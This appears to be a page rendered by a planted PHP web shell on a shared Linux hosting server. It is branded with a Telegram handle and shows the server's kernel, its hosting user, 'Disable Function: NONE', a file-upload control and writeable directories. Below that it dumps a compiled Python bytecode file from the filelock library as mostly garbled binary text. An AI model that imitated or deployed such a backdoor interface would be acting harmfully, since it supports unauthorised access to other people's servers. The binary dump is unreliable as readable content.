https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/filelock/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/filelock/__pycache__/_soft.cpython-310.pyc
o

;�br�@sbddlmZddlZddlZddlmZmZmZddlm	Z	ddl
mZGdd�de	�ZdgZ
dS)	�)�annotationsN)�EACCES�EEXIST�ENOENT�)�BaseFileLock)�raise_on_exist_ro_filec@s$eZdZdZd	dd�Zd	dd�ZdS)
�SoftFileLockz.Simply watches the existence of the lock file.�return�Nonec
Cs�t|j�tjtjBtjBtjB}z	t�|j|�}Wn8tyR}z,|j	t
kr(n|j	tkr.�|j	tkr@t
jdkrG�WYd}~dSWYd}~dSWYd}~dSd}~ww||_dS)N�win32)r�
_lock_file�os�O_WRONLY�O_CREAT�O_EXCL�O_TRUNC�open�OSError�errnorrr�sys�platform�
_lock_file_fd)�self�mode�fd�	exception�r�0/usr/lib/python3/dist-packages/filelock/_soft.py�_acquires.
����

���
	zSoftFileLock._acquirecCs:t�|j�d|_z	t�|j�WdStyYdSw)N)r�closer�remover
r)rrrr�_release$s�zSoftFileLock._releaseN)r
r)�__name__�
__module__�__qualname__�__doc__rr"rrrrr	s
r	)�
__future__rrrrrrr�_apir�_utilrr	�__all__rrrr�<module>s#�

https://t.me/RX1948 - 2025